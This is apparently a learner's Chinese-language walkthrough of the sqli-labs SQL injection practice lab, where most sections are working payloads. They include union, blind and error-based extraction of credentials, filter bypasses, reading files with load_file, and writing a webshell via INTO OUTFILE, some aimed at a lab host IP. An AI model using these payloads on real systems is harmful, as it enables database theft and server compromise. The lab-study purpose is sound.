phpstudy 的版本会影响使用,使用默认的版本就行 php-5.4.45 + Apache

1~4 预备知识(基于错误的注入)

几个常用函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

系统表介绍

SCHEMATA 表:提供了关于数据库的信息。
TABLES 表:给出了关于数据库中的表的信息。
COLUMNS 表:给出了表中的列信息。
STATISTICS 表:给出了关于表索引的信息。

字符连接函数

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

测试语句

or 1=1–+
‘ or 1=1–+
“ or 1=1–+
) or 1=1–+
‘) or 1=1–+
“) or 1=1–+
“)) or 1=1–+
一般情况代码为:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
加入测试语句后:’ or 1=1–+
$sql=”SELECT * FROM users WHERE id=’$id’ or 1=1–+’ LIMIT 0,1”;

union 操作符:
用于合并两个或多个 select 语句
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
UNION 内部的 SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的
列的顺序必须相同

less-1:

先添加单引号,报错,证明有 sql 漏洞
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
‘1’’ LIMIT 0,1

尝试’ or 1=1–+
–+是为了把后面的注释掉
‘order by 4–+得到列数
-1’union select 1,2,3–+
显示出 2,3,说明这里可以回显
爆库:
union select 1,group_concat(schema_name),3 from information_schema.schemata–+
查询 schema_name(库名)并放到一个组里
从 information_schema.schemata(存放所有数据库名的表)里面
爆表:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+
查询 table_name(表名)的信息放在一个组里
从 information_schema.tables(存放所有表名的地方)中 table_schema=’security’的地方
爆列:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’–+
查询 column_name(列名)的信息,放在一个组里
从 information_schema.coulmns(存放所有列名的表)中 table_name=’users’的地方
爆数据:
union select 1,username,password from users where id=2–+
从 users 表中的 id=2 的地方查询 username 和 password 的内容

less-2:

单引号报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=$id LIMIT 0,1
‘’ LIMIT 0,1’
查询代码使用了整数
可以使用不加单引号的 or 1=1

less-3:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’) LIMIT 0,1’ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1
‘’1’’) LIMIT 0,1’
可以使用’) 或) 把前面闭合

less-4:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1””) LIMIT 0,1’ at line 1
说明查询语句是:
SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1
‘“1””) LIMIT 0,1’
可以使用:”)闭合就行了

5~6 背景知识 2:

盲注:数据不能回显到前端页面,我们需要利用一些方法进行判断或者尝试

基于布尔 SQL 盲注

———-构造逻辑判断

(知识)SQL 注入截取字符串常用函数:
http://www.cnblogs.com/lcamry/p/5504374.html
1.mid(column_name,start[,length])
column_name——要提取的字段
start——规定开始位置
length——要返回的字符数, 如果省略,则 mid() 函数返回剩余文本

例如 str=”123456”
mid(str,2,1) —–>结果为 2

mid(database(),1,1)>’a’,查看数据库的第一位,
mid(database(),2,1)>’a’,产看数据库的第二位,

MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处 column_name 参数可以为 sql 语句,可自行构造 sql 语句进行注入

2.substr(string,start,length)

substr(DATABASE(),1,1)>’a’,查看数据库名第一位,
substr(DATABASE(),2,1)>’a’,查看数据库名第二位,
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处 string 参数可以为 sql 语句,可自行构造 sql 语句进行注入。

3.left(string,n)

left(database(),1)>’a’,查看数据库名的第一位
left(database(),2)>’a’,查看数据库名的第二位

再用 ord(上面的函数)>数字(ASCII 码值)
ord(mid(database(),1,1))>144

检查 database()的第一位 ASCⅡ 码是否大于 144

regexp 正则注入:
http://www.cnblogs.com/lcamry/articles/5717442.html
用法:select user() regexp ‘^r’;
检验是否存在 r 中,在 MySQL 中会显示 1
但是在网页上可以用
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^us[a-z]’ limit 0,1);

limit 只是作用于前面的 security 的,想测试别的表名只是改一下表名就行

like 匹配注入
select user() like ‘ro%’
beecheck()重复执行

笛卡尔积:
如果 user 表中有 4 条数据
select count(*) from user A, user B
得:16

基于报错的 SQL 盲注

——构造 payload 让信息通过错误提示回显出来

MySQL 的一个漏洞可以让信息显示出来

Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
简化为
select count(
) from information_schema.tables group by concat(version(), floor(rand(0)*2))

如果关键的表被禁用了,可以用:
select count() from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)
2))

如果 rand 被禁用了,可以用:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

select exp(~(select * from(select user())a)) //double 数值类型超出范围
参考文章:http://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) //bigint 超出范围
参考文章
http://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1)
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
mysql 重复特性,此处重复了 version,所以报错

•基于时间的 SQL 盲注——延时注入

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep

select sleep (find_in_set(mid(@@version,1,1),’0,1,2,3,4,5,6,7,8,9,.’));
在 0-9 之间寻找版本号的第一位

less-5~6:

less-5
布尔盲注:
构造?id=1 发现返回 you are in….不会返回信息了,说明是盲注

‘and left (version(),1)=5%23(测试数据库版本第一位是不是 5)
返回正常,前面那个单引号是为了闭合变量 id

‘and length(database())=8%23
测试数据库长度

‘and left(database(),1)>’a’–+
测试数据库第一位是否大于 a

‘and left(database(),2)>’sa’–+
测试数据库前两位是否大于 sa

‘and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80–+

检测数据表的第一个字符是否大于 ascii 80

‘and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80–+
检测数据表的第二个字符是否大于 ascii80
此处 limit 限制的仍然是表的第几个,所以希望查看别的表的时候可以更改 limit,即,第二个表测试的时候可改为 limit 1,1

‘ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^us[a-z]’ limit 0,1)–+
检测 users 表中是否含有带有 us 的列名

这里 select 1 from…..表里如果有记录,就显示 1
简单理解就是不查询具体列,只要有值就显示 1

‘ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^username’ limit 0,1)–+
检测表 users 中是否含有 username 的列名

利用 ord()和 mid()获取 users 表内容
‘ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68–+
获取表中 username 第一行第一个字段值 ascii 与 68 比较

基于错误的盲注
固定格式 想要查询的内容
‘ union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a–+
当在一个聚合函数如 count()函数后面,如果使用分组语句如 group by 就会把查询的一部分以错误的形式显示出来

基于时间的盲注

‘and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

当条件不成立,即错误时会有 5 秒钟的延时
关于 if 语句: if(condition,ture,false) 若条件正确,执行 ture,不正确执行 false
‘and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80,1,sleep(5))–+

‘and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’),1,1))>80,1,sleep(5))–+
显示子查询由多行,还是不要用延时注入了,用正则表达式吧
‘ and 1=(select 1 from information_schema.columns where table_name=’users’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+
‘ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^username’ limit 0,1)–+

less-6
$id = ‘“‘.$id.’”‘;
$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
对传参进行了设置,闭合语句换了,把第五关的单引号换成双引号

背景知识 3:

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件: 1.使用 and (selectcountfrom mysql.user)>0/*若返回正常,则说明有权限 2.读取的文件必须在服务器上 3.必须提供完整路径 4.文件必须小于 max_allowed_packet

Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:”char(99,58,47,98,111,111,116,46,105,110,105)” 就是”c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:”c:/boot.ini”的 16 进制是”0x633a2f626f6f742e696e69”

-1 union select 1,1,1,load_file(c:\boot.ini)
Explain:路径里的/用 \代替

文件导入到数据库
当你具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中
实例:
load data infile ‘/tmp/t0.txt’ ignore into table t0 character set gbk fields terminated by ‘\t’ lines terminated by ‘\n’

把/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符

SELECT…..INTO OUTFILE ‘file_name’
把被选择的行写入一个文件中必须有 file 权限
一般有两种形式
直接将 select 内容写入文件
Select version() into outfile”c:\phpnow\htdocs\test.php”
也可以把 version()换成一句话木马,在用菜刀连接

Select version() Into outfile”c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY

less-7

首先使用 and (select count() from mysql.user)>0/测试是否有读写权限,若有则返回正常
构造注释掉’)) or 1=1–+

在指定文件夹创建 uuu.txt
http://localhost/sqli-labs-master/Less-7/?id=1’))UNION)UNION) SELECT 1,2,3 into outfile “d:\webanquan\zkaq\WWW\sqli-labs-master\Less-7\uuu.txt”%23
针对无法写入
https://www.jianshu.com/p/7b9256de20d1
https://blog.csdn.net/weixin_39631030/article/details/79873936
无法写入是因为 MySQL 的 secure_file_priv 设置为 null,不允许读写
方法:打开 MySQL 的安装目录下的 my.ini,在 mysqld 模块里添加 secure_file_priv = ‘’ 记得改完后重启 mysql 服务

还可以用这种方法把一句话木马写进去,用菜刀连接,虽然我不能连接成功

less-8~10

都是用前面背景知识 3,基本都是基于时间的盲注,大致思路如下
猜测数据库:
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第一位是 e (ascii 码是 101)
….
以此类推,我们知道了数据库名字是 security
猜测 security 的数据表:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s
chema.tables where table_schema=’security’ limit 0,1),1,1))=101,1,sleep(5))–+
猜测第一个数据表的第一位是 e,…依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s
chema.tables where table_schema=’security’ limit 1,1),1,1))=114,1,sleep(5))–+
猜测第二个数据表的第一位是 r,…依次类推,得到 referers

再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
猜测 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select column_name from information
_schema.columns where table_name=’users’ limit 0,1),1,1))=105,1,sleep(5))–+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜测 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))–+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容

less-11~12:

post 注入
用户名:admin’
密码:111
报错:’111’ LIMIT 0,1’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1111’ LIMIT 0,1’ at line 1
出错原因应该是 password 字段被引号包起来了,导致引号不匹配
select username,password from users where username=’admin’’ and password=’111’ limit 0,1

构造语句 admin’ or ‘1’=’1
密码随意,登录成功

用户名:admin’
密码:admin
报错,返回信息 ‘’admin’’ and password=’’ LIMIT 0,1’
可以推断出都是’username’ ‘password’ 单引号分开

Username:1admin’union select 1,database()# 这里不明白,1admin 前面是数字就行,把数字放后面就不行了,admin1 可能是存在这么一个用户名,没法激发后面的联合查询
passwd=1(任意密码) 密码随意是因为#那后面的注释掉了
返回数据库名称

less-13~14:

先单引号测试,再根据返回的错误信息,构造语句
这一关是’) or 1=1–+
可以发现登录成功或失败只显示登录成功或失败
登录成功后不会显示用户名和密码,所以,需要用到盲注
用户名:admin’)and mid(database(),1,1)>’a’#
密码:随意

less-15~16:

盲注,简直是够了,什么错误都不显示,除了登录成功与否,只能把所有如:’ “ ‘) ‘)) “))方法试一遍

背景知识 4:

MySQL 数据库中的增删改查

查就是 select,增是 insert,删就是 delect 或 drop,改就是 update

增:insert into users values(‘16’,’lcamry’,’lcamry’);

删:
删数据
delete from 表名;
delete from 表名 where id=1;
删节构
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名 drop column 列名;

改:
修改所有:updata 表名 set 列名=’新的值,非数字加单引号’ ;
带条件的修改:updata 表名 set 列名=’新的值,非数字加单引号’ where id=6;

addslashes()函数返回在预定义字符之前添加反斜杠的字符串
预定义字符:单引号,双引号,反斜杠,null
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串
用了这个以后就不能用’或”来闭合前面的语句了

stripslashes()删除由 addslashes()添加的反斜线

mysql_real_escape_string(string,connection)转义 sql 语句中使用字符串中的特殊字符
\x00
\n
\r


\x1a
都会受到影响,若成功,返回被转义的字符串,若失败,返回 false

less-17:

(这题我还以为是用更改数据的方式改密码呐,原来是在改密码的界面爆数据。。。)
本关中的 username 被限制了,所以只能在 password 输入
输入:
123’ and (updatexml(1,concat(0x5c,version(),0x5c),1))#
在 concat()里替换成要查询的语句,注意用括号括起来,并且需要 limit 限制,不然查询不出来

less-18:

输入 admin,admin 测试后发现会查询 IP 和 user agent,所以通过 burp 抓包后修改这两个地方的参数,加入 sql 查询语句
‘and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1

less-19:

测试后发现返回的是 referer
构造查询语句
‘and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’=’1

less-20:

测试后发现在 cookie 处可以注入,还是用 burp 抓包后更改为 sql 注入语句
这里是通过 cookie 来获取 uname 的,所以改成下面这样
uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

less-21:

这里对 cookie 进行了 base64 处理,所以只要把要注入的 SQL 语句转换成 base64 就行

less-22:

同样是 base64 处理,但是要注意前面闭合的时候要用双引号

HTTP 头部详解

1、 Accept:告诉 WEB 服务器自己接受什么介质类型,/ 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。

2、Accept-Charset: 浏览器申明自己接收的字符集,Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate),Accept-Language::浏览器申明自己接收的语言

语言跟字符集的区别:中文是语言,中文有多种字符集,比如 big5,gb2312,gbk 等等。

3、 Accept-Ranges:WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。

4、 Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。

5、 Authorization:当客户端接收到来自 WEB 服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给 WEB 服务器。

6、 Cache-Control:请求:no-cache(不要缓存的实体,要求现在从 WEB 服务器去取)

7、 Connection:请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。

响应:close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300

8、 Content-Encoding:WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip

9、Content-Language:WEB 服务器告诉浏览器自己响应的对象的语言。

10、Content-Length:WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012

11、Content-Range: WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range: bytes 21010-47021/47022

12、Content-Type: WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml

13、 ETag:就是一个对象(比如 URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟 Last-Modified 的作用差不多,主要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其 ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器,然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。

14、 Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟 WEB 服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。例如:Expires:Sat, 23 May 2009 10:02:12 GMT

15、 Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn

16、 If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。

17、If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。

18、 If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码 304,告诉浏览器 该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT

19、If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。

20、 If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者 自己所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一起使用。

21、 Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT

22、 Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部 指 定 的 位 置 去 取 。 例 如 : Location : http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif

23、 Pramga:主要使用 Pramga: no-cache,相当于 Cache-Control: no-cache。例如:Pragma:no-cache

24、 Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。

25、 Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。例如:Range: bytes=1173546-

26、 Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中的网址/URL。例如:Referer:http://www.sina.com/

27、 Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61(Unix)

28、 User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14

29、 Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked

30、 Vary: WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding

31、补充: X-Forwarded-For,用来伪造请求的 IIP 地址

less-23

对#跟–做了过滤,
$reg = “/#/“;
$reg1 = “/–/“;
$replace = “”;
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

需要用单引号去闭合后面的:
http://43.247.91.228:84/Less-23/?id=-1‘ union select 1,2,’3
可以发现 2,3 回显

http://43.247.91.228:84/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),’3

less-24

二次注入,先注册一个 admin’#的用户名,然后当修改密码的时候会执行一下查询语句

update user set password=’修改的密码’ where username=’admin’#’
这样就成功修改了 admin 的密码了

less-25

过滤掉了 or 和 and 测试的时候用 || 就可以,注入的时候 information 要改成 infoorrmation,来补上 or

http://43.247.91.228:84/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),3–+

less-25a

不闭合的情况下执行 25 关的就可以
http://43.247.91.228:84/Less-25a/?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),3–+

less-26

注释被过滤掉,可以使用单引号闭合,?id=-1’ or ‘1’=’1
同时 or 也被注释掉了,需要双写绕过 infoormation

空格过滤了,用下面这些替换
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格

http://43.247.91.228:84/Less-26/?id=-1' union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=’security’),’3

less-26a

改成了用 (‘’) 来闭合
http://43.247.91.228:84/Less-26a/?id=100')union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),3||(‘1

less-27

过滤 select 和 union 但是大小写绕过
http://43.247.91.228:84/Less-27/?id=100'%a0uNion%a0seleCt%a01,2,3||'1

注出表名
http://43.247.91.228:84/Less-27/?id=100'%a0uNion%a0seleCt%a01,(sElect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='security'),3||'1

less-27a

这关闭合用的是 “
http://43.247.91.228:84/Less-27a/?id=100"%a0uNion%a0seleCt%a01,(sElect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='security'),3||"1

less-28

闭合用的是 ‘) 但是竟然没有过滤 select 和 union !?
http://43.247.91.228:84/Less-28/?id=10000')union%a0select%a0(1),(2),(3)||(‘1

http://43.247.91.228:84/Less-28/?id=10000')union%a0select%a0(1),(select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema='security'),(3)||(‘1

less-28a

跟之前的 28 一样啊!?

less-29-31

29 主要是用了两个服务器,第一个充当 waf
第一个服务器时 tomcat 第二个是 apache,tomcat 解析参数时从前面解析,apache 解析参数时从后面解析,所以可以传递两个参数 ?id=1&id=2 他会解析第二个

http://43.247.91.228:84/Less-29/?id=1&id=1000' union select 1,2,3–+
http://43.247.91.228:84/Less-29/?id=1&id=1000' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+

30 只是用 “ 来限定
31 用 “)

less-32

宽字节注入,,只需要在 ‘ 前面加上个 %aa 让转义字符失效就可以了
http://43.247.91.228:84/Less-32/?id=-1%aa'union select 1,2,3–+

less-33

http://43.247.91.228:84/Less-33/?id=-1%aa'union select 1,2,3–+

less-34

post 方式,没法 urlencode,所以使用:
�’or 1=1#
�’union select 1,2#
�’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#

less-35

http://43.247.91.228:84/Less-35/?id=-1 or 1=1–+

http://43.247.91.228:84/Less-35/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479–+

less-36

http://43.247.91.228:84/Less-36/?id=-1%aa' union select 1,2,3–+

http://43.247.91.228:84/Less-36/?id=-1%aa' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479–+

less-37

�’union select 1,2#

�’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#

less-38

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,3–+

http://43.247.91.228:84/Less-38/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+

堆叠注入:

less-38-40:

堆叠注入,不同的是 sql 查询语句不一样,有的是 ‘’ 有的是数字型,有的是(’’)类型的,只需要闭合就可以了

less-41-45

知识换成了 post 方式,在 password 处没有过滤,使用上面的攻击就可以

ORDER BY 注入

order by 不能使用 union select,先来了解一下 order by 的一些参数
asc 升序,desc 降序,如果在后面分别试这两个,排序结果不一样那么就说明可能存在注入
由于 order by 后面只能接 (字段名,位置,表达式) 等信息,如果并不能向原来一样使用联合查询。这里面直接使用 sort=(select …) 的方式来实现报错注入

order by 报错注入

这是在 mysql 下测试的报错语句,可以用到
select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~security’ //获取当前数据库

select * from users order by id and(updatexml(1,concat(0x7e,(select version())),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’ //获取数据库版本

select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~root@localhost’ //获取用户

select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~E:\soft\phpmystudy\MySQL\data' //获取数据库路径

select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~Win32’ //获取操作系统

select * from users order by id and(updatexml(1,concat(0x7e,(select @@basedir)),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~E:/soft/phpmystudy/MySQL/‘ //mysql 安装路径

select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~root@localhost’ //获取连接数据库的用户名

select * from users order by id and(updatexml(1,concat(0x7e,(select current_user())),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~root@localhost’ //获取当前用户名

select * from users order by id and(updatexml(1,concat(0x7e,(select system_user())),0));
ERROR 1105 (HY000): XPATH syntax error: ‘~root@localhost’ //获取系统用户名

通过报错注入例如:
http://43.247.91.228:84/Less-46/?sort=(updatexml(1,concat(0x7e,(select @@version),0x7e),1))
http://43.247.91.228:84/Less-46/?sort=(extractvalue(1,concat(0x7e,(select @@version),0x7e)))
http://43.247.91.228:84/Less-46/?sort=(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e),1))

order by 盲注

##

select _ from users order by id ^(select(select version()) regexp ‘^5’); 不正常排序
select _ from users order by id ^(select(select version()) regexp ‘^aaaa’); 正常排序

因为异或 0 的时候相当于啥都不做,,所以只要是显示乱序就表示这个猜对了

less-46

http://43.247.91.228:84/Less-46/?sort=(extractvalue(1,concat(0x7e,(select @@version),0x7e)))
http://43.247.91.228:84/Less-46/?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e)))

less-47

前面改成了 ‘ $id ‘,只需要闭合单引号就可以了
http://43.247.91.228:84/Less-47/?sort=1' and 1=(extractvalue(1,concat(0x7e,(select @@version),0x7e)))–+
http://43.247.91.228:84/Less-47/?sort=1' and 1=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e)))–+

less-48

不返回错误信息,盲注!
根据上面的,慢慢试吧!?
http://43.247.91.228:84/Less-48/?sort=id ^(select(select version()) regexp ‘^5’)

less-49

又用了单引号闭合,还需要绕过单引号
这里可以通过基于时间的盲注来实现(上面哪种方法还没试出来怎么绕过那个单引号)
http://43.247.91.228:84/Less-49/?sort=1' and if(ascii(substr(database(),1,1))=112,1,sleep(0.2))%23

less-50

题目说的是堆叠注入,但是报错注入也是可以的

less-51

单引号引起来了,绕过正常注入

less-52

http://43.247.91.228:84/Less-52/?sort=id ^(select(select version()) regexp ‘^5.5.4’)

less-53

基于时间的盲注
http://43.247.91.228:84/Less-49/?sort=1' and if(ascii(substr(database(),1,1))=112,1,sleep(0.2))%23

less-54-57

很简单的注入,限制了次数,不过只要试出来是怎么界定的就可以了

less-58

通过 updatexml()报错注入

http://43.247.91.228:84/Less-58/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’FECY4FSQDF’),0x7e),1)–+